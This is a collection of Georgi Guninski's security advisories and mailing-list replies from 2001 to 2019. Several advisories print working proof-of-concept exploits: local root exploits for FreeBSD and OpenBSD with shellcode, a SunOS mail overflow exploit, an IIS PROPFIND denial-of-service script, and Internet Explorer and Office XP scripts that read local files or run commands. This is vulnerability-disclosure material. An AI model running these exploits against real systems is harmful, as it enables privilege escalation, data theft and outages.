from:"Georgi Guninski"

pari/gp on debian stable allow arbitrary file write

2019-11-26 Thread Georgi Guninski

pari/gp on debian stable allow arbitrary file write

pari/gp is CAS (computer algebra system).
pari/gp version 2.9.1 on debian stretch and 2.11 on debian buster
allow arbitrary file write and hence arbitrary code execution.

poc:

\\ a.gp
\\ to run: \r a.gp
default("logfile","/tmp/a.txt");default("log",1);print("log(1)");


Of mathematical interest is pari was missing solutions
to Thue equations when assuming GRH (the fix changed polynomial
bound to exponential bound):
http://pari.math.u-bordeaux.fr/archives/pari-dev-1207/msg0.html
t=thue(thueinit(x^3+92*x+1,0),3^3);t

-- 
CV:https://j.ludost.net/resumegg.pdf
site:  http://www.guninski.com
blog:  https://j.ludost.net/blog

Minor security issue in punbb with SQLite

2019-11-11 Thread Georgi Guninski

 From 
https://j.ludost.net/blog/archives/2019/11/11/minor_security_issue_in_punbb_with_sqlite/index.html

Minor security issue in punbb with SQLite

Georgi Guninski security advisory #76, 2019

Running punbb-master from https://github.com/punbb/punbb
from Thu 07 Nov 2019 11:23:33 AM UTC

Installing on http://host/forum
In install.php set:

database type: SQLite3
database name: database1

Accessing http://host/forum/database1 returns the full raw database,
including hashes and email addresses.

If attacker guesses the name "database1" or brute force from common
database names, this gives her read access of the raw database.

If you consider this a bug, as workaround set database to something
hard to guess.

Other forum software explicitly want the SQLite database to
be non-accessible from the web.

-- 
CV:https://j.ludost.net/resumegg.pdf
site:  http://www.guninski.com
blog:  https://j.ludost.net/blog

Re: [Full-Disclosure] Re: it's all about timing

2002-08-01 Thread Georgi Guninski

IMHO the threats against Snosoft are FUD, even more FUD than the Sklyarov FUD. I 
personally don't expect any court.

What scares me is that the "Responsible Disclosure" FUD continues.
On bugtraq people write that CERT and SecurtyFocus are "established parties" and 
everyone who does not give them their 0days is irresponsible (at least CERT is 
known to sell 0days). I personally won't give them my 0days early.

The "Responsible Disclosure" draft continues to get advertised, though it was 
not approved by IETF.

Why people think about giving away the right of free speech just because of some 
FUD?

Even in the unlikely case if this bad rfc pass, does it mean that that people 
are safer when they disclose problems - definitely don't think so.

So the facts are that some companies can't write secure code and it is more 
expensive to write secure code.

Just check "Help -> About" on Windows before using the word "responsibility".

The easiest solution is to shoot the messenger and to outlaw saying the emperor 
has no clothes. But this won't fix the problem in the real world. IMHO such 
regulations will only alienate a lot of people and will make things worse.

When I answered where I wanted to go today, they just hung up (Unknown Author)

Steven M. Christey wrote:
> The Responsible Disclosure Process draft specifically allows for
> researchers to release vulnerability information if the vendor is not
> sufficiently responsive.  Some people may disagree with the delay of
> 30 days between initial notification and release, but I don't think
> there are good stats on how long it really takes vendors to fully
> address vulnerability reports - open or closed source, freeware or
> commercial.  Let's take a recent example - how much coordination had
> to happen for the zlib vulnerability?  It seems reasonable to assume
> that it took more than a day.  And the controversial "grace period"
> has the interesting distinction of being used by both Microsoft and
> Theo de Raadt.
> 
> Researchers can help to shed light in this area by publishing
> disclosure histories along with their advisories.  (By the way, vendor
> advisories rarely include such information.)
> 
> While the response to the proposal focused almost exclusively on how
> it impacts researchers, it lays out a number of requirements for
> vendors, primarily that they (a) make it easy for people to file
> vulnerability reports, (b) be responsive to incoming vulnerability
> reports, and (c) address the issues within a reasonable amount of
> time.
> 
> IMHO, it makes a stronger impression when someone releases a security
> advisory with an extensive disclosure history that says how much they
> tried to resolve the issue with the vendor, before they released.
> 
> Those who are interested in the legal aspects of "responsible
> disclosure" are encouraged to read the article by Mark Rasch at
> http://online.securityfocus.com/columnists/66.  The article basically
> says that the adoption of community standards could protect
> researchers who disclose issues responsibly, while it could also help
> vendors who seek legal recourse against researchers who are not
> responsible (for some definition of "responsible").  The former could
> happen with a community standard.  The latter may already be happening
> without one.
> 
> This email is my personal opinion, not my employer's.
> 
> - Steve
> (co-author of the aforementioned Responsible Disclosure proposal,
> which is presently quiet but not dead, but will always be subject to
> public feedback)
> ___
> Full-Disclosure - We believe in it.
> [EMAIL PROTECTED]
> http://lists.netsys.com/mailman/listinfo/full-disclosure
> 
>

Re: To Provide a Patch or to Service Pack?

2002-05-30 Thread Georgi Guninski


I personally would prefer to know the risk to which I am exposed and even manage 
the risk myself even if there is no patch.
Of course some users don't apply patches when they are out (check Nimbda) but 
some prefer to apply the patch as soon as possible without waiting it to be 
bundled with 4+ other patches (check you know who ;) ).

In case you have missed it, check:
http://www.eweek.com/article/0,3658,s%253D701%2526a%253D26875,00.asp
"...He later acknowledged that some Microsoft code was so flawed it could not be 
safely disclosed..."

Georgi Guninski
http://www.guninski.com

David Litchfield wrote:
> Critical is a relative term. For me, what may be critical, may be
> non-critical to many others. As a consumer of a (nonspecific) software
> product, if there is a security flaw in it I'd like to be given information
> about the flaw and access to a patch. Having read and digested this
> information and assessed the risk to me and my organization, I may choose
> not to install the patch but then again I may - if I think this is, in my
> situation, a critical security issue. At least I have the choice though.
> 
> Remove the security patch, by opting to roll up as many of them as you can
> into a service pack, and I am no longer empowered to make this choice. The
> vendor has attempted to assess the risk on behalf of their customers, which
> with a large customer base, is nigh on impossible. There is no one solution
> fits all.
> 
> So what are the motivations for going down the service pack path as oppossed
> to providing individual (or group / 1 in 10) patches?
> 
> Money? Assume it costs 100K to produce and organize a hotfix for a large
> organisation. With, say, 50 hotfixes a year this can get quite expensive so
> there is a definite business case for rolling out as little hotfixes as
> possible. The vendor is attempting to save money which is not a bad thing.
> However. Assume that a fix for a security vulnerability is rolled up into a
> service pack rather than a hotfix being made available. This was done
> because the vendor has "assessed" the risk and believe that 90% of the
> customers will not be greatly exposed to any risk so it is generally safe to
> service pack it. This still leaves 10% who are exposed to the risk. Lets say
> 1% of this 10% are bitten by the issue. The cost to these people will/could
> be, I would argue, considerably more than the 100K the vendor was trying to
> save. So in effect their offloading their costs onto the customer. This is
> not a good thing.
> 
> Avoiding bad press? Another possible reason but one which is mitigated if
> the vendor writes a more secure product in the first place. The more shame
> you have to put up with, the less likely you are to re-follow the steps that
> lead to the shame in the first place. ( a bit weak I know but in honesty I
> don't think too many vendors hide behind this.)
> 
> Admins are complaining about too many patches? Sure this can be a problem -
> but, let's face it, it's part of your job so stop complaining and get on
> with it. I'm sure the CTO, CSO or CFO would rather have their boxen secured
> than not secured. (I know that sounds harsh, but I'm tyring to boil it down
> to basics - I've been in a role where I've had to maintain patches and
> sure - I'd rather be reading Dilbert - but I'm not paid to do that.)
> 
> So anyway, these are my views and I wonder what the general consensus is out
> there. Should patches me made available for all security issues or should
> the vendor assess the risk on behalf of their customers and roll them up in
> service packs. What can we do as a community one way or the other to have
> recommedations excepted? Or if you've anything further to add that I've not
> covered or haven't thought of - both pro and anti please feel free.
> 
> TIA,
> 
> David Litchfield
> 
> http://www.ngssoftware.com/
> 
> 
> 
>

Re: Fwd: GOBBLES RESPONSE TO THE BLUE BOAR ("fixed version")

2002-05-14 Thread Georgi Guninski

3APA3A,
3APA3A wrote:
> 
> Netscape  4.xx  has  more  security  problems than any Internet Explorer
> version.  It  has:  multiple  buffer overflows, local files and crossite

I don't want to start a flame war, but I disagree with the above statement.
Sure Netscape 4 has security bugs, but not so much as you claim.
As a side note bohttpd may be emulated on IE as http tunnelling - IE polls a cgi 
and receives commands and sends the reply.

georgi

Re: More Office XP problems

2002-04-04 Thread Georgi Guninski


Ben Schorr wrote:
> Worth noting that this problem (the Outlook part anyhow) appears to actually
> be a Word vulnerability in that it only affects people who use the WordMail
> editor.  People who use the default Outlook editor are apparently not
> affected by the forward/reply vulnerability.
> 
> http://www.slipstick.com for more info.
> 
> That's not to suggest that it isn't a vulnerability that shouldn't be fixed
> - just that there appears to be a fairly easy workaround and not all users
> are affected to begin with.
>

This is the default option on Outlook, I believe.


> To work-around this problem in Outlook go to Tools | Options | Mail Format
> and uncheck the boxes for "Use Word to..."  That will cause Outlook to use
> it's own native editor for such things and shuts the window on this exploit.
>

While this will prevent the reply/forward issue, it won't help if one
receives and opens .doc or .xls attachment with the bug, will it?

That's why I suggest uninstalling/deleting as much buggyware as one can.

Georgi Guninski
http://www.guninski.com

MS Office XP - the more money I give to Microsoft, the more vulnerable my Windows computers are

2001-07-12 Thread Georgi Guninski


Georgi Guninski security advisory #49, 2001

MS Office XP - the more money I give to Microsoft, the more vulnerable my Windows 
computers are

Systems affected:
Win2K + IE 5.5 SP1 fully patched + Office XP.
It was reported to work with IE6 beta also.

Risk: High
Date: 12 July 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

If you want to link to this advisory or reference it use the URL:
http://www.guninski.com/vv2xp.html
The above especially applies for companies like Mitre and BugNet

Background:

Recently I bought Office XP.
It was quite unpleasant feeling giving so much money for so buggy
product.

Description:

If a user visits a specially designed html page with IE or opens or
previews a message with Outlook XP arbitrary commands may be
executed on his computer. This may lead to taking full control over
user's computer.
Using another approach to this bug allows reading, modifying and deleting
messages in user's Outlook XP folders.


Details:
The problem is again ActiveX. This time Office XP seems to install a
malicous ActiveX control - "Microsoft Outlook View Control".
This control exposes property named "selection" which gives access to user's
mail messages. It also exposes the Outlook "Application" object which may lead
to execution of arbitrary programs of the user's computer.
Examine the script below for more information

Demonstration:
http://www.guninski.com/vv3-2demo.html
-
This assumes you have at least one message in Outlook XP's Inbox






function f()
{
//alert(o2.object);
sel=o1.object.selection;
vv1=sel.Item(1);
alert("Subject="+vv1.Subject);
alert("Body="+vv1.Body+"["+vv1.HTMLBody+"]");
alert("May be deleted");
//vv1.Delete();

vv2=vv1.Session.Application.CreateObject("WScript.Shell");

alert("Much more fun is possible");


vv2.Run("C:\\WINNT\\SYSTEM32\\CMD.EXE /c DIR /A /P /S C:\\ ");

}
setTimeout("f()",2000);

-


Solution:
Uninstall Office XP and Windows.

Vendor status:
Microsoft was informed on 9 July 2001.
As far I could understand they are still investigating my report.


Regards,
Georgi Guninski
http://www.guninski.com

Re: FreeBSD 4.3 local root, yet Linux and *BSD much better than Windows

2001-07-11 Thread Georgi Guninski

Przemyslaw Frasunek wrote:
> 
> > FreeBSD 4.3 local root, yet Linux and *BSD much better than Windows
> 
> This problem was already reported to FreeBSD Security Officer about two
> months ago, but it was totally ignored.
>

If this is the case I don't understand why you did not go public then -
2 months is much time.
Posting to forums like Bugraq helps.

Georgi Guninski

FreeBSD 4.3 local root, yet Linux and *BSD much better than Windows

2001-07-10 Thread Georgi Guninski



Georgi Guninski security advisory #48, 2001

FreeBSD 4.3 local root, yet Linux and *BSD much better than Windows

Systems affected:
FreeBSD 4.3 and probably earlier versions.

Risk: High
Date: 10 July 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski.
You may distribute it unmodified.
You may not modify it and distribute it or distribute parts
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or  indirect use of the information or functionality 
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.


Description:

There is local root compromise in FreeBSD 4.3 due to design flaw
which allows injecting signal handlers in other processes.


Details:
The problem is rfork(RFPROC|RFSIGSHARE) which shares the signal
handlers.
If the child does exec() on a setuid program and then the parent set a
signal handler, the signal handler is replicated in the child.
The address of the signal handler may be in the environment and after
sending
a signal to the child our signal handler gets executed.
Examine the code for more information.



Exploit:

Examine the source and don't send me mail if you get SEGV.
http://www.guninski.com/vvfreebsd.c

-vvfreebsd.c--

/*
FreeBSD 4.3 local root exploit using shared signals.
Written by Georgi Guninski http://www.guninski.com
*/

#include 
#include 
#include 
int vv1;

#define MYSIG SIGINT


//exec "/tmp/sh", shellcode gotten from the internet and modified
unsigned char bsdshell[] = "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x50\xb0\xb7\xcd\x80"
"\x31\xc0\x50\x50\xb0\x17\xcd\x80"
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
  "\xb0\x3b\x50\xcd\x80\x90\x90\x90";

typedef (*PROG)();
extern char **environ;

int main(int ac,char **av)
{
int pid;
//(*(PROG)bsdshell)();
if(!(vv1=getenv("vv")))
 {
  setenv("vv",bsdshell,1);
  if(!execle(av[0],"vv",NULL,environ))
   {
perror("weird exec");
exit(1);
   }
 }

printf("vvfreebsd. Written by Georgi Guninski\n");
printf("shall jump to %x\n",vv1);

if(!(pid=rfork(RFPROC|RFSIGSHARE)))
 {
  printf("child=%d\n",getpid());
// /usr/bin/login and rlogin work for me. ping gives nonsuid shell
//  if(!execl("/usr/bin/rlogin","rlogin","localhost",0))
  if(!execl("/usr/bin/login","login",0))
   {
perror("exec setuid failed");
exit(2);
   };
 }
sleep(2);
signal(MYSIG,(sig_t)vv1);
sleep(2);
kill(pid,MYSIG);
printf("done\n");
while(42);
}




--

Workaround/Soltution:
As far as I know patches for this problem are commited for both
-current and -stable.
>From "CVS log for src/sys/kern/kern_exec.c"
[MFC: do not share sigs after an exec]
The main diff seems to be at:
http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/kern/kern_exec.c.diff?
r1=1.107.2.7&r2=1.107.2.8&f=h

Vendor status:
FreeBSD was informed on 2 July 2001 (sent them broken attachment on 1
July).

Some comparison of vendor response times from my personal experience:
FreeBSD seem to have fixed this in 7 days.
OpenBSD fixed my previous advisory in 6 days.
Microsoft are much slower.

Regards,
Georgi Guninski
http://www.guninski.com

Re: OpenBSD 2.9,2.8 local root compromise

2001-06-15 Thread Georgi Guninski


Hello,

Andreas Haugsnes wrote:
> 
> I must say that I gasped and had to wipe sweat from my
> forehead when I read, tested and could confirm this
> exploit.
> 
> The OpenBSD-team has known about this for -6- days (15th of June),
> and they haven't been able to come up with atleast a temporary fix?
> I can't find anything on errdata / security warnings,
> what's up with that?
> 

I have communicated with several vendors and IMHO the OpenBSD folks are quite nice.
They are much better than Microsoft for example.
I believe that this patch is not trivial.

Georgi Guninski

> Andreas Haugsnes
> 
> On Thu, Jun 14, 2001 at 05:14:46PM +0300, Georgi Guninski wrote:
> > Georgi Guninski security advisory #47, 2001
> >
> > OpenBSD 2.9,2.8 local root compromise
> >
> > Systems affected:
> > OpenBSD 2.9,2.8
> > Have not tested on other OSes but they may be vulnerable
> 
> > Vendor status:
> > OpenBSD was informed on 9 June 2001.

OpenBSD 2.9,2.8 local root compromise

2001-06-14 Thread Georgi Guninski


Georgi Guninski security advisory #47, 2001

OpenBSD 2.9,2.8 local root compromise

Systems affected:
OpenBSD 2.9,2.8
Have not tested on other OSes but they may be vulnerable

Risk: High
Date: 14 June 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. 
You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts 
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on 
experiments though it may be false.
The opinions expressed in this advisory and program are my own and 
not of any company. The usual standard disclaimer applies, 
especially the fact that Georgi Guninski is not liable for any damages 
caused by direct or  indirect use of the information or functionality 
provided by this advisory or program. Georgi Guninski bears no 
responsibility for content or misuse of this advisory or program or 
any derivatives thereof.


Description:

There is local root compromise in OpenBSD 2.9, 2.8 due to a race
probably in the kernel. This is quite similar to the linux kernel
race several months ago.


Details:
By forking a few process it is possible to attach to +s pid with ptrace.
The process seems to be in a strange state when it is attached.
Contrary to the man info PT_DETACH allows specifying an address to which
execution is continued.


Exploit:

http://www.guninski.com/vvopenbsd.c

-vvopenbsd.c--
/* Written by Georgi Guninski http://www.guninski.com 
Tested on OpenBSD 2.9 and 2.8
Works best after reboot - the +s program must not be executed before, seems
executes /tmp/sh
/tmp/su must be a link to +s program
if the +s program has been executed, create and run shell script the size of RAM
You may need to type "fg" if the program receives stop signal
you may need to run the program several times
*/

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

int me=0;

void endit(int x)
{
if(!me)
 {
 printf("exiting\n");
 exit(0);
 }
}

extern char **environ;
int main(int ac, char **av)
{

volatile struct reg pt;

//exec "/tmp/sh"
char bsdshell[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
  "\x74\x6d\x70\x89\xe3\x50\x53\x50\x54\x53"
  "\xb0\x3b\x50\xcd\x80\x90\x90\x90";

int j,status,sig;
volatile int done=0;
volatile static int done2=0;
int pid,pid2,i;
int num; // number of processes to fork. 20 works for me on Pentium500
int target;

char *env1;
// address of $joro where execution of shell code begins.may need to be changed
unsigned int breakat=0xdfbfddaf;
num=20;
pid=getpid();
if(!getenv("joro"))
{
setenv("joro",bsdshell,1);
if (execle(av[0],"a",NULL,environ))
 perror("exec");
}
else
 breakat=(int)getenv("joro");
printf("Written by Georgi Guninski\nShall jump to %x\n",breakat);
target=pid;
printf("Started pid1=%d target=%d\n",pid,target);
for(i=0;ihttp://www.guninski.com

$HOME buffer overflow in SunOS 5.8 x86

2001-06-04 Thread Georgi Guninski


Georgi Guninski security advisory #46, 2001

$HOME buffer overflow in SunOS 5.8 x86

Systems affected:
SunOS 5.8 x86 have not tested on other OSes

Risk: Medium
Date: 4 June 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. 
You may distribute it unmodified. 
You may not modify it and distribute it or distribute parts 
of it without the author's written permission.

Disclaimer:
The information in this advisory is believed to be true based on 
experiments though it may be false.
The opinions expressed in this advisory and program are my own and 
not of any company. The usual standard disclaimer applies, 
especially the fact that Georgi Guninski is not liable for any damages 
caused by direct or  indirect use of the information or functionality 
provided by this advisory or program. Georgi Guninski bears no 
responsibility for content or misuse of this advisory or program or 
any derivatives thereof.


Description:

There is a buffer overflow in SunOS 5.8 x86 with $HOME and /usr/bin/mail
leading to egid=mail.


Details:
HOME=`perl -e 'print "A"x1100'` ; export HOME
mail a
CTL-C

eip gets smashed with 0x41414141.

Exploit:
-solmail.pl--
#!/usr/bin/perl
# /usr/bin/mail exploit by Georgi Guninski
use Env qw($HOME);
#shell code taken from Pablo Sor's mailx exploit
$shell = "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06";
$shell .="\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90";
$shell .="\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0";
$shell .="\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33";
$shell .="\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec";
$shell .="\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89";
$shell .="\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50";
$shell .="\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2";
$shell .="\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4";
$shell .="\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
$RET = "\xa0\x6f\x04\x08" ; #may need to change this
$OVER=1032;
$ALL=1200;
$buf=$RET x ($OVER/4) . "\x90" x ($ALL - $OVER - length($shell)) . $shell;
system("/bin/ln -s /bin/ksh /tmp/xx");
print "Written by Georgi Guninski, shell code taken from Pablo Sor's mailx 
exploit.\nPress
CTL-C\n";
$ENV{HOME}=$buf;
exec "/usr/bin/mail","A";
-----

Workaround:
chmod -s /usr/bin/mail

Vendor status:
Sun was informed on 29 May 2001 about /usr/bin/mail and shall release patches.

Regards,
Georgi Guninski
http://www.guninski.com

IIS 5.0 PROPFIND DOS #2

2001-05-06 Thread Georgi Guninski


Georgi Guninski security advisory #44, 2001

IIS 5.0 PROPFIND DOS #2

Systems affected:
IIS 5.0

Risk: Medium
Date: 6 May 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program
or
any derivatives thereof.


Description:

It is possible to remotely restart all IIS related services using specially crafted
request.
If this request is repeated continously this seriously affects IIS performance.

Details:

Basically the problem are very long but valid propfind request containing lots of ":".


Demonstration:

--vv9.pl---
#!/usr/bin/perl
use IO::Socket;
printf "Written by Georgi Guninski wait some time\n";
$port = @ARGV[1];
$host = @ARGV[0];

sub vv()
{
$ll=$_[0];
$socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") ||
return;
$over=":" x $ll ; # the ":" is the most important
$ch=pack("C",65); # just to check whether potentail payload is possible - yes
$tmp = $ch x 64;
$over= $ch x 4 . $over . $tmp;
$over1=":" x $ll; #not sure about this

$xml='';
$xml=$xml.''."".''."\n\n";
$l=length($xml);
$req="PROPFIND / HTTP/1\.1\nContent-type: text/xml\nHost: $host\nContent-length:
$l\n\n$xml\n\n";
syswrite($socket,$req,length($req));
print ".";
$socket->read($res,200);
print $res;
close $socket;
}


do vv(59060);
#this is overflow, repeat several times - 49060 seems the smallest #, may need to 
change
sleep(1);
do vv(59060);

---

Workaround: Disabling WebDav extensions may help
though I do not recommend using IIS on the Internet.

Vendor status:
Microsoft was informed on 1 May 2001

Regards,
Georgi Guninski
http://www.guninski.com

Re: XML scripting in IE, Outlook Express

2001-04-25 Thread Georgi Guninski

Toni Lassila wrote:
>
> > -Original Message-
> > From: Georgi Guninski [mailto:[EMAIL PROTECTED]]
> > Sent: Friday, April 20, 2001 14:40
> > Subject: XML scripting in IE, Outlook Express
> [...]
> > Background:
> > We have some disagreement with Microsoft whether this works on fully
> > patched IE 5.x.
> > I believe I am running fully patched IE according to the rules for
> > patching in
> > Microsoft's security bulletins.
> > The problem seems to be the version of WSH which is described in
> > MS-01-015 at:
> > http://www.microsoft.com/technet/security/bulletin/ms01-015.asp
> > To check whether you are vulnerable check DEMONSTRATION.
>
> Not vulnerable.:
>
> Windows 2000 Professional SP1 (5.00.2195)
> Internet Explorer 5.5 SP1 (5.50.4134.0600)
> + Q290108, Q279328
> Windows Scripting Host 5.1
> Outlook 2000 + Outlook Security Fix
> MS XML Parser 3.0
>
> OTOH, another computer IS vulnerable:
>
> Windows 2000 Professional
> Internet Explorer 5.01
> Windows Scripting Host 5.1
> Outlook 2000
> MS XML Parser 3.0
>
> > Workaround: I do not know of workaround but Microsoft claims updating
> > WSH solves the issue.
>
> This does not seem to be the case. Also noticed during testing that
> after unsuccessfully visiting the demonstration page, IE/OL on occasion
> jams for a few seconds.

I continue to believe all versions of IE 5.x are vulnerable.
A lot of people have missed the point of my advisory.
On 20 April 2001 Microsoft released Ver. 2.0 of their security bulletin
which seems to fix
a bug but not this issue.

To check whethere you are vulnerable to this issue:
1. Disable Active Scripting for the Internet Zone (in case
www.guninski.com is in
the Internet Zone for you).
2. Go to http://www.guninski.com/xstyle.eml or to
http://www.guninski.com/xstyle.xml
3. If you see a message box "This is VBscript"  then you are vulnerable
because this
message is produced by active scripting which is disabled in (1).
4. Worse, this works from email at least in Outlook Express.

Georgi Guninski

XML scripting in IE, Outlook Express

2001-04-21 Thread Georgi Guninski


Georgi Guninski security advisory #43, 2001

XML scripting in IE, Outlook Express

Systems affected:
Internet Explorer 5.x - including full patched up to now though
Microsoft cannot
reproduce the problem on fully patched IE 5.x ,Outlook Express (probably
Outlook have not tested)

Risk: High
Date: 20 April 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute
it unmodified.
You may not modify it and distribute it or distribute parts of it
without the author's
written permission.

Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this
advisory or program or
any derivatives thereof.


Background:
We have some disagreement with Microsoft whether this works on fully
patched IE 5.x.
I believe I am running fully patched IE according to the rules for
patching in
Microsoft's security bulletins.
The problem seems to be the version of WSH which is described in
MS-01-015 at:
http://www.microsoft.com/technet/security/bulletin/ms01-015.asp
To check whether you are vulnerable check DEMONSTRATION.

Description:

It is possible to execute Active Scripting with the help of XML and XSL
even if
Active Scripting is disabled in all security zones. This is especially
dangerous in
email messages. Though this is not typical exploit itself, it may be
used in other
exploits especially in email.

Details:

The problem are xml stylesheets which may contain Active Scripting and
they are executed
regardless of the settings for Active Scripting in IE/Outlook Express.
Below is a demonstration which executes Active Scripting which contains
the demo from
my advisory #41.
When xstyle.eml is viewed with IE or OE the Active Script in it is
executed regardless of
user's settings.

--xstyle.eml--

http://SOMEHOST/xstyle.xml">

--

--xstyle.xml--



style

--

--xstyle.xsl--
http://www.w3.org/TR/WD-xsl">




--

Workaround: I do not know of workaround but Microsoft claims updating
WSH solves the issue.

Demonstration:
http://www.guninski.com/xstyle.eml - disable Active Scripting and if you
see any
message box you are vulnerable.

Vendor status:
Microsoft was informed on 18 April 2001

Regards,
Georgi Guninski
http://www.guninski.com

Re: Double clicking on innocent looking files may be dangerous

2001-04-18 Thread Georgi Guninski


"Kuo, Jimmy" wrote:
>
> Published in mid-March:
>
> http://vil.nai.com/vil/virusSummary.asp?virus_k=99048
>
> And:
>
> http:[EMAIL PROTECTED]
>

Sorry for my "old news" advisory - if I were aware of the urls above
I would have not sent it.

Georgi Guninski

Double clicking on innocent looking files may be dangerous

2001-04-16 Thread Georgi Guninski


Georgi Guninski security advisory #42, 2001

Double clicking on innocent looking files may be dangerous

Systems affected:
Windows Explorer, Internet Explorer - Windows 98, 2000 - when browsing
directories or shares

Risk: High
Date: 16 April 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute
it unmodified.
You may not modify it and distribute it or distribute parts of it
without the author's
written permission.

Disclaimer:
The information in this advisory is believed to be true based on
experiments though it may be false.
The opinions expressed in this advisory and program are my own and not
of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or  indirect use of the
information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this
advisory or program or
any derivatives thereof.


Description:

By double clicking from Window Explorer or Internet Explorer on
filenames with innocent
extensions the user may be tricked to execute arbitrary programs.


Details:
If the file extension is certain CLSID e.g.:
testhta.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
then Windows explorer and IE do not show the CLSID and only the .txt
extension,
while the above file is in fact .hta file.
Some exploit scenarios include leaving such malicous files on shared
resources or
sending them in archive by email.

Workaround: Do not doubleclick from Windows Explorer or Internet
Explorer

Demonstration:
http://www.guninski.com/testhta1.zip

Vendor status:
Microsoft was informed on 11 April 2001

Regards,
Georgi Guninski
http://www.guninski.com

Security bug in Internet Explorer - MSScriptControl.ScriptControl

2001-03-31 Thread Georgi Guninski


Georgi Guninski security advisory #41, 2001

Security bug in Internet Explorer - MSScriptControl.ScriptControl

Systems affected:
IE 5.5 Win2K (probably others versions/platforms, have not tested)

Risk: High
Date: 31 March 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
The information in this advisory is believed to be true based on experiments though it 
may be false.
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski
is not liable for any damages caused by direct or  indirect use of the information
or functionality provided by this advisory or program.
Georgi Guninski bears no responsibility for content or misuse of this advisory or 
program or
any derivatives thereof.


Description:

By visiting a web page with IE it is possible to read arbitrary local files (in very 
rare
cases small amount of the file's content is lost) if the file name is known and send 
them to
an arbitrary server.
It is also possible to read arbitrary web pages to which the victim has access.

Probably this bug may be more serious, have not investigated further - an interesting 
scenario seems to be
playing with
C:\Documents and Settings\USERNAME\Local Settings\Temporary Internet 
Files\Content.IE5\index.dat.
which probably may lead to executing arbitrary programs.


Details:

The problem seems to be the ActiveX object "MSScriptControl.ScriptControl" in 
combination with
GetObject.
Examine the code below for more details.
----


Written by Georgi Guninski.

Reads c:\test.txt



alert("This script reads C:\\TEST.TXT\nYou may need to create it\n")
v=new ActiveXObject("MSScriptControl.ScriptControl.1");
v.Language="VBScript";
x=v.eval('GetObject("c:/test.txt","htmlfile")');
setTimeout("alert(x.body.outerHTML);",2000);





Workaround: To solve this particular issue disable Active Scripting, though I do not 
recommend using IE for browsing
the Internet because this is dangerous.

Demonstration:
http://www.guninski.com/scractxdemo.html

Vendor status:
Microsoft was informed on 26 March 2001

Regards,
Georgi Guninski
http://www.guninski.com

Security bugs in interactions between IE 5.x, IIS 5.0 and Exchange 2000

2001-03-28 Thread Georgi Guninski


Georgi Guninski security advisory #40, 2001

Security bugs in interactions between IE 5.x, IIS 5.0 and Exchange 2000

Systems affected:
The bug is in IE 5.x (Win2K, probably others) but interaction with IIS 5.0 (or 
Exchange web storage) is required

Risk: High
Date: 28 March 2001

Legal Notice:
This Advisory is Copyright (c) 2001 Georgi Guninski. You may distribute it unmodified.
You may not modify it and distribute it or distribute parts of it without the author's
written permission.

Disclaimer:
